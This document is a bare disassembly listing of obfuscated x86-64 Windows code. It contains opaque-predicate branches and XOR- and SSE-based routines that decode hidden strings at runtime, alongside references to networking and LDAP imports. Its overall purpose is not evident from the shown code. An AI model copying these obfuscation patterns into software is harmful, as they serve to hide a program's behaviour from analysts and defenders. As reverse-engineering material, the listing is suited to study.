lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x1401a1941
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34a8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a19a1
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a19a1
lea rdi, [0x1406d34a8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a19a1
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a1971
cmp dword [0x1406cdc94], 0xa
jl 0x1401a19bd
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a19bd
jmp 0x1401a19bb
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x1401a19e5
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a19e5
jmp 0x1401a19e3
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a1a1c
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1401a1a50
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1401a1a2e
test ebx, ebx
jne 0x1401a1a75
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a1a48
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1401a1a79
test al, al
jne 0x1401a2c08
cmp edx, 0xa
jl 0x1401a1a59
test ebx, ebx
jne 0x1401a1a77
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a1a1c
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a1a1c
jmp 0x1401a1a73
jmp 0x1401a1a75
jmp 0x1401a1a77
jmp 0x1401a1a79
test bl, bl
je 0x1401a1e93
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
movdqa xmm5, xmmword [0x1402591a0]
movdqa xmm6, xmmword [str._b_t_n_v]
movdqa xmm4, xmmword [0x1402591c0]
movdqa xmm3, xmmword [0x1402591d0]
xor edi, edi
movdqu xmm10, xmmword [rbp + rdi + 0x590]
movdqa xmm15, xmm10
pxor xmm0, xmm0
punpcklbw xmm15, xmm0
movdqa xmm8, xmm3
movdqa xmm14, xmm3
movdqa xmmword [rbp + 0x620], xmm3
movdqa xmm0, xmmword [str.9999]
paddd xmm8, xmm0
movdqa xmm1, xmm4
movdqa xmmword [rbp + 0x630], xmm4
paddd xmm4, xmm0
movdqa xmmword [rbp + 0x4f0], xmm4
movdqa xmm2, xmm6
movdqa xmm12, xmm6
movdqa xmmword [rbp + 0x640], xmm6
paddd xmm2, xmm0
movdqa xmmword [rbp + 0x520], xmm2
movdqa xmm3, xmm5
movdqa xmmword [rbp + 0x650], xmm5
paddd xmm3, xmm0
movdqa xmmword [rbp + 0x560], xmm3
movdqa xmm7, xmmword [0x1402662b0]
pand xmm3, xmm7
movdqa xmm6, xmm2
pand xmm6, xmm7
movdqa xmm2, xmm4
pand xmm2, xmm7
movdqa xmm0, xmm8
pand xmm0, xmm7
movdqa xmm4, xmm7
movdqa xmm13, xmmword [0x140262c20]
movdqa xmm7, xmm13
psubd xmm7, xmm5
movdqa xmm11, xmm13
psubd xmm11, xmm12
movdqa xmm12, xmm13
psubd xmm12, xmm1
psubd xmm13, xmm14
movdqa xmm1, xmm4
pandn xmm1, xmm13
por xmm1, xmm0
movdqa xmm0, xmm4
pandn xmm0, xmm12
por xmm0, xmm2
movdqa xmm9, xmm4
pandn xmm9, xmm11
por xmm9, xmm6
movdqa xmm2, xmm4
pandn xmm2, xmm7
por xmm2, xmm3
movdqa xmmword [rbp + 0x4e0], xmm2
movdqa xmm14, xmm13
movdqa xmm6, xmmword [0x140265be0]
pand xmm8, xmm6
movdqa xmm5, xmmword [0x140265bb0]
pand xmm13, xmm5
por xmm13, xmm8
movdqa xmm2, xmm15
pxor xmm3, xmm3
punpcklwd xmm2, xmm3
pand xmm14, xmm2
pxor xmm13, xmm6
pand xmm13, xmm2
pxor xmm2, xmm4
pxor xmm2, xmm1
movdqa xmm3, xmm12
movdqa xmm1, xmmword [rbp + 0x4f0]
pand xmm1, xmm6
pand xmm12, xmm5
por xmm12, xmm1
pxor xmm1, xmm1
punpckhwd xmm15, xmm1
punpckhbw xmm10, xmm1
pxor xmm8, xmm8
pand xmm3, xmm15
pxor xmm12, xmm6
pand xmm12, xmm15
pxor xmm15, xmm4
pxor xmm15, xmm0
movdqa xmm0, xmm11
movdqa xmm1, xmmword [rbp + 0x520]
pand xmm1, xmm6
pand xmm11, xmm5
por xmm11, xmm1
movdqa xmm1, xmm10
punpcklwd xmm1, xmm8
pxor xmm8, xmm8
pand xmm0, xmm1
pxor xmm11, xmm6
pand xmm11, xmm1
pxor xmm1, xmm4
pxor xmm1, xmm9
movdqa xmm9, xmm7
movdqa xmm4, xmmword [rbp + 0x560]
pand xmm4, xmm6
pand xmm7, xmm5
por xmm7, xmm4
punpckhwd xmm10, xmm8
pand xmm9, xmm10
pxor xmm7, xmm6
pand xmm7, xmm10
pxor xmm10, xmmword [0x1402662b0]
pxor xmm10, xmmword [rbp + 0x4e0]
por xmm14, xmm2
por xmm3, xmm15
por xmm0, xmm1
por xmm9, xmm10
movdqa xmm1, xmm14
pandn xmm1, xmm13
pxor xmm13, xmm14
pxor xmm13, xmm1
movdqa xmm1, xmm3
pandn xmm1, xmm12
pxor xmm12, xmm3
pxor xmm12, xmm1
movdqa xmm1, xmm0
pandn xmm1, xmm11
pxor xmm11, xmm0
pxor xmm11, xmm1
movdqa xmm0, xmm9
pandn xmm0, xmm7
pxor xmm7, xmm9
pxor xmm7, xmm0
movdqa xmm0, xmmword [0x140259880]
pand xmm13, xmm0
pand xmm12, xmm0
packuswb xmm13, xmm12
pand xmm11, xmm0
pand xmm7, xmm0
packuswb xmm11, xmm7
packuswb xmm13, xmm11
pxor xmm13, xmmword [0x140262c70]
movdqu xmmword [rbp + rdi + 0x590], xmm13
lea rax, [rdi + 0x10]
movdqa xmm0, xmmword [0x140259280]
movdqa xmm3, xmmword [rbp + 0x620]
paddd xmm3, xmm0
movdqa xmm4, xmmword [rbp + 0x630]
paddd xmm4, xmm0
movdqa xmm6, xmmword [rbp + 0x640]
paddd xmm6, xmm0
movdqa xmm5, xmmword [rbp + 0x650]
paddd xmm5, xmm0
test rdi, rdi
mov rdi, rax
jne 0x1401a1ab9
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
test bl, bl
jne 0x1401a1e93
movdqa xmm0, xmmword [rbp + 0x590]
pxor xmm0, xmmword [str.9:_____ABCDEFGH]
movdqa xmmword [rbp + 0x590], xmm0
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
xor edi, edi
movdqa xmm3, xmmword [0x1402591d0]
movdqa xmm4, xmmword [0x1402591c0]
movdqa xmm6, xmmword [str._b_t_n_v]
movdqa xmm5, xmmword [0x1402591a0]
jmp 0x1401a1ab9
test r8b, r8b
jne 0x1401a22cb
mov bl, byte [rbp + 0x5a9]
test bl, bl
je 0x1401a22c4
lea eax, [rcx - 1]
imul eax, ecx
test al, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
movdqa xmm5, xmmword [0x1402591a0]
movdqa xmm6, xmmword [str._b_t_n_v]
movdqa xmm4, xmmword [0x1402591c0]
movdqa xmm3, xmmword [0x1402591d0]
xor edi, edi
movdqu xmm10, xmmword [rbp + rdi + 0x590]
movdqa xmm15, xmm10
pxor xmm0, xmm0
punpcklbw xmm15, xmm0
movdqa xmm8, xmm3
movdqa xmm14, xmm3
movdqa xmmword [rbp + 0x620], xmm3
movdqa xmm0, xmmword [str.9999]
paddd xmm8, xmm0
movdqa xmm1, xmm4
movdqa xmmword [rbp + 0x630], xmm4
paddd xmm4, xmm0
movdqa xmmword [rbp + 0x4f0], xmm4
movdqa xmm2, xmm6
movdqa xmm12, xmm6
movdqa xmmword [rbp + 0x640], xmm6
paddd xmm2, xmm0
movdqa xmmword [rbp + 0x520], xmm2
movdqa xmm3, xmm5
movdqa xmmword [rbp + 0x650], xmm5
paddd xmm3, xmm0
movdqa xmmword [rbp + 0x560], xmm3
movdqa xmm7, xmmword [0x1402662b0]
pand xmm3, xmm7
movdqa xmm6, xmm2
pand xmm6, xmm7
movdqa xmm2, xmm4
pand xmm2, xmm7
movdqa xmm0, xmm8
pand xmm0, xmm7
movdqa xmm4, xmm7
movdqa xmm13, xmmword [0x140262c20]
movdqa xmm7, xmm13
psubd xmm7, xmm5
movdqa xmm11, xmm13
psubd xmm11, xmm12
movdqa xmm12, xmm13
psubd xmm12, xmm1
psubd xmm13, xmm14
movdqa xmm1, xmm4
pandn xmm1, xmm13
por xmm1, xmm0
movdqa xmm0, xmm4
pandn xmm0, xmm12
por xmm0, xmm2
movdqa xmm9, xmm4
pandn xmm9, xmm11
por xmm9, xmm6
movdqa xmm2, xmm4
pandn xmm2, xmm7
por xmm2, xmm3
movdqa xmmword [rbp + 0x4e0], xmm2
movdqa xmm14, xmm13
movdqa xmm6, xmmword [0x140265be0]
pand xmm8, xmm6
movdqa xmm5, xmmword [0x140265bb0]
pand xmm13, xmm5
por xmm13, xmm8
movdqa xmm2, xmm15
pxor xmm3, xmm3
punpcklwd xmm2, xmm3
pand xmm14, xmm2
pxor xmm13, xmm6
pand xmm13, xmm2
pxor xmm2, xmm4
pxor xmm2, xmm1
movdqa xmm3, xmm12
movdqa xmm1, xmmword [rbp + 0x4f0]
pand xmm1, xmm6
pand xmm12, xmm5
por xmm12, xmm1
pxor xmm1, xmm1
punpckhwd xmm15, xmm1
punpckhbw xmm10, xmm1
pxor xmm8, xmm8
pand xmm3, xmm15
pxor xmm12, xmm6
pand xmm12, xmm15
pxor xmm15, xmm4
pxor xmm15, xmm0
movdqa xmm0, xmm11
movdqa xmm1, xmmword [rbp + 0x520]
pand xmm1, xmm6
pand xmm11, xmm5
por xmm11, xmm1
movdqa xmm1, xmm10
punpcklwd xmm1, xmm8
pxor xmm8, xmm8
pand xmm0, xmm1
pxor xmm11, xmm6
pand xmm11, xmm1
pxor xmm1, xmm4
pxor xmm1, xmm9
movdqa xmm9, xmm7
movdqa xmm4, xmmword [rbp + 0x560]
pand xmm4, xmm6
pand xmm7, xmm5
por xmm7, xmm4
punpckhwd xmm10, xmm8
pand xmm9, xmm10
pxor xmm7, xmm6
pand xmm7, xmm10
pxor xmm10, xmmword [0x1402662b0]
pxor xmm10, xmmword [rbp + 0x4e0]
por xmm14, xmm2
por xmm3, xmm15
por xmm0, xmm1
por xmm9, xmm10
movdqa xmm1, xmm14
pandn xmm1, xmm13
pxor xmm13, xmm14
pxor xmm13, xmm1
movdqa xmm1, xmm3
pandn xmm1, xmm12
pxor xmm12, xmm3
pxor xmm12, xmm1
movdqa xmm1, xmm0
pandn xmm1, xmm11
pxor xmm11, xmm0
pxor xmm11, xmm1
movdqa xmm0, xmm9
pandn xmm0, xmm7
pxor xmm7, xmm9
pxor xmm7, xmm0
movdqa xmm0, xmmword [0x140259880]
pand xmm13, xmm0
pand xmm12, xmm0
packuswb xmm13, xmm12
pand xmm11, xmm0
pand xmm7, xmm0
packuswb xmm11, xmm7
packuswb xmm13, xmm11
pxor xmm13, xmmword [0x140262c70]
movdqu xmmword [rbp + rdi + 0x590], xmm13
lea rax, [rdi + 0x10]
movdqa xmm0, xmmword [0x140259280]
movdqa xmm3, xmmword [rbp + 0x620]
paddd xmm3, xmm0
movdqa xmm4, xmmword [rbp + 0x630]
paddd xmm4, xmm0
movdqa xmm6, xmmword [rbp + 0x640]
paddd xmm6, xmm0
movdqa xmm5, xmmword [rbp + 0x650]
paddd xmm5, xmm0
test rdi, rdi
mov rdi, rax
jne 0x1401a1edf
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
test bl, bl
jne 0x1401a22b9
movdqa xmm0, xmmword [rbp + 0x590]
pxor xmm0, xmmword [str.9:_____ABCDEFGH]
movdqa xmmword [rbp + 0x590], xmm0
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
xor edi, edi
movdqa xmm3, xmmword [0x1402591d0]
movdqa xmm4, xmmword [0x1402591c0]
movdqa xmm6, xmmword [str._b_t_n_v]
movdqa xmm5, xmmword [0x1402591a0]
jmp 0x1401a1edf
mov bl, byte [rbp + 0x5a9]
jmp 0x1401a1a7b
xor ebx, ebx
jmp 0x1401a1a7b
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x1401a2308
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34c8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a2368
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a2368
lea rdi, [0x1406d34c8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a2368
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a2338
cmp dword [0x1406cdc94], 0xa
jl 0x1401a2384
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a2384
jmp 0x1401a2382
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x1401a23ac
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a23ac
jmp 0x1401a23aa
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a23e3
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1401a2413
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1401a23f5
test ebx, ebx
jne 0x1401a2438
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a240f
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1401a243c
test al, al
jne 0x1401a243e
cmp edx, 0xa
jl 0x1401a241c
test ebx, ebx
jne 0x1401a243a
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a23e3
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a23e3
jmp 0x1401a2436
jmp 0x1401a2438
jmp 0x1401a243a
jmp 0x1401a243c
mov al, byte [0x140264fba]
mov byte [rbp + 0x340], al
movdqu xmm0, xmmword [0x140264faa]
movdqa xmmword [rbp + 0x330], xmm0
mov dl, 0x7a
mov esi, 0xffffffc6
xor ecx, ecx
movzx edx, dl
lea ebx, [rcx + 0x39]
mov edi, ebx
and edi, 0x2e7e8384
mov eax, esi
and eax, 0xd1817c7b
or eax, edi
xor eax, 0x7debb6e
and eax, esi
and ebx, 0x29a038ea
or ebx, eax
mov eax, edx
and eax, 0x15
or eax, 0x21a008a2
and edx, 0xffffffea
xor edx, eax
mov eax, edx
xor eax, 0xb7
xor edx, ebx
xor edx, 0xb7
and edx, ebx
not ebx
and ebx, eax
or ebx, edx
mov byte [rbp + rcx + 0x330], bl
cmp rcx, 0x10
je 0x1401a24cd
movzx edx, byte [rbp + rcx + 0x331]
add esi, 0xffffffff
add rcx, 1
jmp 0x1401a2463
lea rcx, [0x1406d38a8]
lea rdx, [rbp + 0x330]
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a2538
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a2538
lea rsi, [0x1406d38a8]
lea rdi, [rbp + 0x330]
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a2538
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a2508
mov al, byte [0x140264fc3]
mov byte [rbp + 0x598], al
mov rax, qword [0x140264fbb]
mov qword [rbp + 0x590], rax
mov eax, dword [0x1406ce578]
mov ecx, dword [0x1406ce57c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
mov dword [rbp + 0x640], edx
mov dword [rbp + 0x630], ecx
cmp ecx, 0xa
jl 0x1401a25a7
cmp dword [rbp + 0x640], 0
je 0x1401a25a7
mov dl, 0x58
mov r10b, 0x53
mov r13b, 0x56
mov byte [rbp + 0x650], 0x5e
mov r12b, 0x52
mov r9b, 0x4a
mov r8b, reloc.WS2_32.dll_WSASetLastError
mov r11b, reloc.WLDAP32.dll_Ordinal_46
mov r14b, 0x41
mov r15b, 0x41
jmp 0x1401a2795
mov r14b, 0x41
mov r11b, reloc.WLDAP32.dll_Ordinal_46
mov r8b, reloc.WS2_32.dll_WSASetLastError
mov r9b, 0x4a
mov r12b, 0x52
mov byte [rbp + 0x650], 0x5e
mov r13b, 0x56
mov r10b, 0x53
mov dl, 0x58
jmp 0x1401a267c
xor r10b, 0x3a
mov byte [rbp + 0x591], r10b
mov eax, r13d
and al, 0x29
mov ecx, r13d
and cl, 0x12
or cl, 1
xor cl, al
and r13b, 0xc4
or r13b, cl
xor r13b, 0x3a
mov byte [rbp + 0x592], r13b
mov al, byte [rbp + 0x650]
xor al, 0x3c
mov byte [rbp + 0x650], al
mov byte [rbp + 0x593], al
mov eax, r12d
and al, 0x29
mov ecx, r12d
and cl, 0x14
or cl, 1
xor cl, al
and r12b, 0xc2
or r12b, cl
xor r12b, 0x3c
mov byte [rbp + 0x594], r12b
xor r9b, 0x3e
mov byte [rbp + 0x595], r9b
mov eax, r8d
and al, 0x29
mov ecx, r8d
and cl, 0x16
or cl, 1
xor cl, al
and r8b, 0xc0
or r8b, cl
xor r8b, 0x3e
mov byte [rbp + 0x596], r8b
xor r11b, 0x40
mov byte [rbp + 0x597], r11b
xor r15b, 0x41
mov byte [rbp + 0x598], r15b
mov r14d, r15d
test r15b, r15b
je 0x1401a2780
mov eax, dword [0x1406d42a8]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
sete cl
cmp dword [0x1406d42ac], 0xa
setl al
setge bl
or al, cl
and sil, bl
test al, al
jne 0x1401a26ae
xor edi, edi
test dil, 1
mov edi, eax
je 0x1401a26a6
mov eax, edx
and al, 0x29
mov ecx, edx
and cl, 0x10
or cl, 1
xor cl, al
and dl, 0xc6
or dl, cl
xor dl, 0x38
mov byte [rbp + 0x590], dl
test sil, sil
jne 0x1401a277e
xor r10b, 0x3a
mov byte [rbp + 0x591], r10b
mov eax, r13d
and al, 0x29
mov ecx, r13d
and cl, 0x12
or cl, 1
xor cl, al
and r13b, 0xc4
or r13b, cl
xor r13b, 0x3a
mov byte [rbp + 0x592], r13b
mov al, byte [rbp + 0x650]
xor al, 0x3c
mov byte [rbp + 0x650], al
mov byte [rbp + 0x593], al
mov eax, r12d
and al, 0x29
mov ecx, r12d
and cl, 0x14
or cl, 1
xor cl, al
and r12b, 0xc2
or r12b, cl
xor r12b, 0x3c
mov byte [rbp + 0x594], r12b
xor r9b, 0x3e
mov byte [rbp + 0x595], r9b
mov eax, r8d
and al, 0x29
mov ecx, r8d
and cl, 0x16
or cl, 1
xor cl, al
and r8b, 0xc0
or r8b, cl
xor r8b, 0x3e
mov byte [rbp + 0x596], r8b
xor r11b, 0x40
mov byte [rbp + 0x597], r11b
xor r14b, 0x41
mov byte [rbp + 0x598], r14b
mov r15d, r14d
jmp 0x1401a2783
jmp 0x1401a277e
xor r15d, r15d
cmp dword [rbp + 0x630], 0xa
jl 0x1401a27fb
cmp dword [rbp + 0x640], 0
je 0x1401a27fb
test r15b, r15b
je 0x1401a27f3
mov eax, dword [0x1406d42a8]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
sete cl
cmp dword [0x1406d42ac], 0xa
setl al
setge bl
or al, cl
and sil, bl
test al, al
jne 0x1401a27cc
xor edi, edi
test dil, 1
mov edi, eax
je 0x1401a27c4
mov eax, edx
and al, 0x29
mov ecx, edx
and cl, 0x10
or cl, 1
xor cl, al
and dl, 0xc6
or dl, cl
xor dl, 0x38
mov byte [rbp + 0x590], dl
test sil, sil
je 0x1401a25ca
jmp 0x1401a27f1
xor r15d, r15d
jmp 0x1401a2673
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x1401a2838
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d38e8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a2898
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a2898
lea rdi, [0x1406d38e8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a2898
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a2868
cmp dword [0x1406cdc94], 0xa
jl 0x1401a28b4
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a28b4
jmp 0x1401a28b2
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x1401a28dc
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a28dc
jmp 0x1401a28da
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a2913
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1401a2943
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1401a2925
test ebx, ebx
jne 0x1401a2968
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a293f
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1401a296c
test al, al
jne 0x1401a296e
cmp edx, 0xa
jl 0x1401a294c
test ebx, ebx
jne 0x1401a296a
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a2913
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a2913
jmp 0x1401a2966
jmp 0x1401a2968
jmp 0x1401a296a
jmp 0x1401a296c
movabs rax, 0x406f6d781c7f686a
mov qword [rbp + 0x590], rax
mov eax, dword [0x1406d40a0]
lea ecx, [rax - 1]
imul ecx, eax
cmp dword [0x1406d40a4], 0xa
setge r8b
and r8b, cl
mov al, 0x6a
mov r10d, 1
mov r9d, 0xffffffc6
movzx ecx, al
mov eax, ecx
not eax
lea ebx, [r10 + 0x38]
and eax, ebx
lea edx, [r9 + 0x4000000]
and edx, 0x2112001
mov edi, ebx
and edi, 0x7d8219c2
or edi, edx
mov edx, r9d
and edx, 0x80644424
and ebx, 0x88218
or ebx, edi
or ebx, edx
mov edx, ebx
xor edx, 0x7d8a9bda
or edx, ecx
xor ebx, ecx
xor ebx, 0x82756425
and ebx, edx
mov esi, ebx
mov r11d, eax
mov edi, eax
mov edx, ebx
mov ecx, ebx
xor ebx, eax
not eax
not esi
and r11d, 0x1126c810
and esi, eax
and eax, 0x440130c6
add eax, r11d
add eax, 0x2a880009
and edi, 0xaad80729
xor edi, eax
mov eax, edi
xor eax, 0x3baec819
and edx, 0x500738d6
or edx, 0x80000008
and ecx, 0xaad80729
xor ecx, edx
mov edx, ecx
xor edx, 0xd00738de
xor edi, 0xc45137e6
and edi, edx
xor ecx, 0x2ff8c721
and ecx, eax
or ecx, edi
or ebx, esi
mov eax, ebx
xor eax, ecx
not eax
not ebx
and ebx, ecx
or ebx, eax
mov byte [rbp + r10 + 0x58f], bl
test r8b, r8b
jne 0x1401a2a8d
cmp r10, 8
je 0x1401a2a8f
movzx eax, byte [rbp + r10 + 0x590]
add r10, 1
add r9d, 0xffffffff
jmp 0x1401a29a7
jmp 0x1401a2a8d
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x1401a2acc
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34a8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a2b2c
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a2b2c
lea rdi, [0x1406d34a8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a2b2c
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a2afc
cmp dword [0x1406cdc94], 0xa
jl 0x1401a2b48
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a2b48
jmp 0x1401a2b46
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x1401a2b70
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a2b70
jmp 0x1401a2b6e
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a2ba7
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1401a2bdf
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1401a2bbd
test ebx, ebx
jne 0x1401a2e75
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a2bdb
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1401a2e79
test al, al
jne 0x1401a2c08
cmp edx, 0xa
jl 0x1401a2bec
test ebx, ebx
jne 0x1401a2e77
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a2ba7
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a2ba7
jmp 0x1401a2c06
